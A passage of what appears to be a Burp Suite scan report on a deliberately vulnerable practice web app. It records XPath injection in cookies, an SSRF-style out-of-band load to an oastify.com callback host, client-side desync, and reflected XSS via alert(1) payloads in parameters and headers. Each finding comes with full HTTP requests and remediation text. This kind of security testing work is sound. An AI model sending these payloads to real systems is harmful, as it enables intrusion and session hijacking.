3.3. https://testapp.secsci-autopt/index.php [showhints cookie]
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The showhints cookie appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the showhints cookie, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?do=logout HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1'; username=test; uid=24
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:17:22 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 55453
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<a href="index.php?page=user-info-xpath.php">
...[SNIP]...
3.4. https://testapp.secsci-autopt/index.php [uid cookie]
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The uid cookie appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the uid cookie, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?do=logout HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24'
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:38:25 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 55453
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<a href="index.php?page=user-info-xpath.php">
...[SNIP]...
3.5. https://testapp.secsci-autopt/index.php [username cookie]
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The username cookie appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the username cookie, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?do=logout HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test'; uid=24
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:24:59 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 55453
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<a href="index.php?page=user-info-xpath.php">
...[SNIP]...
4. Out-of-band resource load (HTTP)
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

It is possible to induce the application to retrieve the contents of an arbitrary external URL and return those contents in its own response.

The payload http://299sjvhzhqvn1mdltzbzlzs4wv2nqev2lqcd21r.oastify.com/?user-info.php was submitted in the page parameter.

The application performed an HTTP request to the specified domain. The response from that request was then included in the application's own response.

Issue background

Out-of-band resource load arises when it is possible to induce an application to fetch content from an arbitrary external location, and incorporate that content into the application's own response(s). The ability to trigger arbitrary out-of-band resource load does not constitute a vulnerability in its own right, and in some cases might even be the intended behavior of the application. However, in many cases, it can indicate a vulnerability with serious consequences.

The ability to request and retrieve web content from other systems can allow the application server to be used as a two-way attack proxy. By submitting suitable payloads, an attacker can cause the application server to attack, or retrieve content from, other systems that it can interact with. This may include public third-party systems, internal systems within the same organization, or services available on the local loopback adapter of the application server itself. Depending on the network architecture, this may expose highly vulnerable internal services that are not otherwise accessible to external attackers.

Additionally, the application's processing of web content that is retrieved from arbitrary URLs exposes some important and non-conventional attack surface. An attacker can deploy a web server that returns malicious content, and then induce the application to retrieve and process that content. This processing might give rise to the types of input-based vulnerabilities that are normally found when unexpected input is submitted directly in requests to the application. The out-of-band attack surface that the application exposes should be thoroughly tested for these types of vulnerabilities.

Issue remediation

You should review the purpose and intended use of the relevant application functionality, and determine whether the ability to trigger arbitrary out-of-band resource load is intended behavior. If so, you should be aware of the types of attacks that can be performed via this behavior and take appropriate measures. These measures might include blocking network access from the application server to other internal systems, and hardening the application server itself to remove any services available on the local loopback adapter. You should also ensure that content retrieved from other systems is processed in a safe manner, with the usual precautions that are applicable when processing input from direct incoming web requests.

If the ability to trigger arbitrary out-of-band resource load is not intended behavior, then you should implement a whitelist of permitted URLs, and block requests to URLs that do not appear on this whitelist.

References

Vulnerability classifications

Request 1

GET /index.php?page=http%3a%2f%2f299sjvhzhqvn1mdltzbzlzs4wv2nqev2lqcd21r.oastify.com%2f%3fuser-info.php HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:16:08 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 49577
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<body>i2vqwsj6pyr4r86as2szxwzjkgjxgigjfigz</body>
...[SNIP]...

Collaborator HTTP interaction

The Collaborator server received an HTTP request.

The request was received from IP address 165.225.57.194:3391 at 2023-Sep-04 18:16:30.517 UTC.

Request to Collaborator

HEAD /?user-info.php HTTP/1.1
Host: 299sjvhzhqvn1mdltzbzlzs4wv2nqev2lqcd21r.oastify.com
User-Agent: Go-http-client/1.1
Accept: */*
Connection: close
X-Forwarded-For: 12.230.31.98

Response from Collaborator

HTTP/1.1 200 OK
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Content-Type: text/html
Content-Length: 62

<html><body>i2vqwsj6pyr4r86as2szxwzjkgjxgigjfigz</body></html>
5. Client-side desync
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   https://testapp.secsci-autopt
Path:   /

Issue detail

The server is vulnerable to client-side desync attacks. A POST request was sent to the path '/' with a delay before sending the request body. The server timed out waiting for the request body but did not close the connection, and when the body was sent it was then interpreted as a new request

Issue background

Client-side desync (CSD) vulnerabilities occur when a web server fails to correctly process the Content-Length of POST requests. By exploiting this behavior, an attacker can force a victim's browser to desynchronize its connection with the website, typically leading to XSS.

Issue remediation

You can resolve this vulnerability by patching the server so that it either processes POST requests correctly, or closes the connection after handling them. You could also disable connection reuse entirely, but this may reduce performance. You can also resolve this issue by enabling HTTP/2.

References

Vulnerability classifications

Request 1

POST / HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=deleted; uid=deleted
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Length: 0
Content-Type: application/x-www-form-urlencoded

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:12:45 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 55553
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...

Request 2

GET /robots.txt HTTP/1.1
Host: testapp.secsci-autopt
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0

GET / HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
...[SNIP]...

Response 2

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:12:45 GMT
Server: Apache/2.4.54 (Debian)
Last-Modified: Sun, 25 Dec 2022 01:13:30 GMT
ETag: "8d-5f09cba04e280-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 141
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/plain

User-agent: *
Disallow: passwords/
Disallow: config.inc
Disallow: classes/
Disallow: javascript/
Disallow: documentation/
Disallow: includes/
6. Cross-site scripting (reflected)
Previous  Next

There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request that, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site that causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality that it contains, and the other applications that belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain that can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization that owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application and exploiting users' trust in the organization in order to capture credentials for other applications that it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

References

Vulnerability classifications



6.1. https://testapp.secsci-autopt/index.php [page parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The value of the page request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aabr5"><script>alert(1)</script>qqcu4clqo04 was submitted in the page parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request 1

GET /index.php?page=aabr5%22%3e%3cscript%3ealert(1)%3c%2fscript%3eqqcu4clqo04&username=test&password=test&login-php-submit-button=Login HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://testapp.secsci-autopt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:17:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 50701
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<a href="index.php?do=toggle-hints&page=aabr5"><script>alert(1)</script>qqcu4clqo04">
...[SNIP]...
6.2. https://testapp.secsci-autopt/index.php [username parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The value of the username request parameter is copied into the HTML document as plain text between tags. The payload g7k29<script>alert(1)</script>pv19o was submitted in the username parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request 1

GET /index.php?page=user-info.php&username=testg7k29%3cscript%3ealert(1)%3c%2fscript%3epv19o&password=test&user-info-php-submit-button=View+Account+Details HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=user-info.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:33:11 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 57087
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<span style="color:#770000;">testg7k29<script>alert(1)</script>pv19o</span>
...[SNIP]...
6.3. https://testapp.secsci-autopt/ [User-Agent HTTP header]
Previous  Next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload pionb<script>alert(1)</script>ehh1j was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behavior is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request 1

GET / HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36pionb<script>alert(1)</script>ehh1j
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:12:33 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Logged-In-User: test
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 55752
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<td colspan="2">
               Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36pionb<script>alert(1)</script>ehh1j                <br/>
...[SNIP]...
6.4. https://testapp.secsci-autopt/index.php [User-Agent HTTP header]
Previous  Next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload a2jhf<script>alert(1)</script>okzcp was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behavior is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request 1

GET /index.php?do=logout HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36a2jhf<script>alert(1)</script>okzcp
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:36:24 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 55488
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
<td colspan="2">
               Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36a2jhf<script>alert(1)</script>okzcp                <br/>
...[SNIP]...
6.5. https://testapp.secsci-autopt/set-up-database.php [Referer HTTP header]
Previous

Summary

Severity:   Low
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /set-up-database.php

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 27321";alert(1)//552 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behavior is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request 1

GET /set-up-database.php HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/index.php?page=home.php&popUpNotificationCode=LOU127321";alert(1)//552
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:19:45 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 5258
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
   <head>
       <link rel="shortcut icon" href="./image
...[SNIP]...
<script>if(confirm("No PHP or MySQL errors were detected when resetting the database.\n\nClick OK to proceed to https://testapp.secsci-autopt/index.php?page=home.php&popUpNotificationCode=LOU127321";alert(1)//552&popUpNotificationCode=SUD1 or Cancel to stay on this page.")){document.location="https://testapp.secsci-autopt/index.php?page=home.php&popUpNotificationCode=LOU127321";alert(1)//552&popUpNotificationC
...[SNIP]...
7. TLS certificate
Previous  Next

Summary

Severity:   Medium
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /

Issue detail

The following problems were identified with the server's TLS certificate:Note: Burp relies on the Java trust store to determine whether certificates are trusted. The Java trust store does not include every root CA certificate that is included within browser trust stores. Burp might incorrectly report that a certificate is not trusted, if a valid root CA certificate is being used that is not included in the Java trust store.

The server presented the following certificate:

Issued to:  mutillidae.localhost
Issued by:  mutillidae.localhost
Valid from:  Wed Aug 24 19:30:04 EDT 2022
Valid to:  Sat Aug 21 19:30:04 EDT 2032

Issue background

TLS (or SSL) helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an TLS certificate that is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, TLS connections to the server will not provide the full protection for which TLS is designed.

It should be noted that various attacks exist against TLS in general, and in the context of HTTPS web connections in particular. It may be possible for a determined and suitably-positioned attacker to compromise TLS connections without user detection even when a valid TLS certificate is used.

References

Vulnerability classifications

8. Password submitted using GET method
Previous  Next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:The form contains the following password field:

Issue background

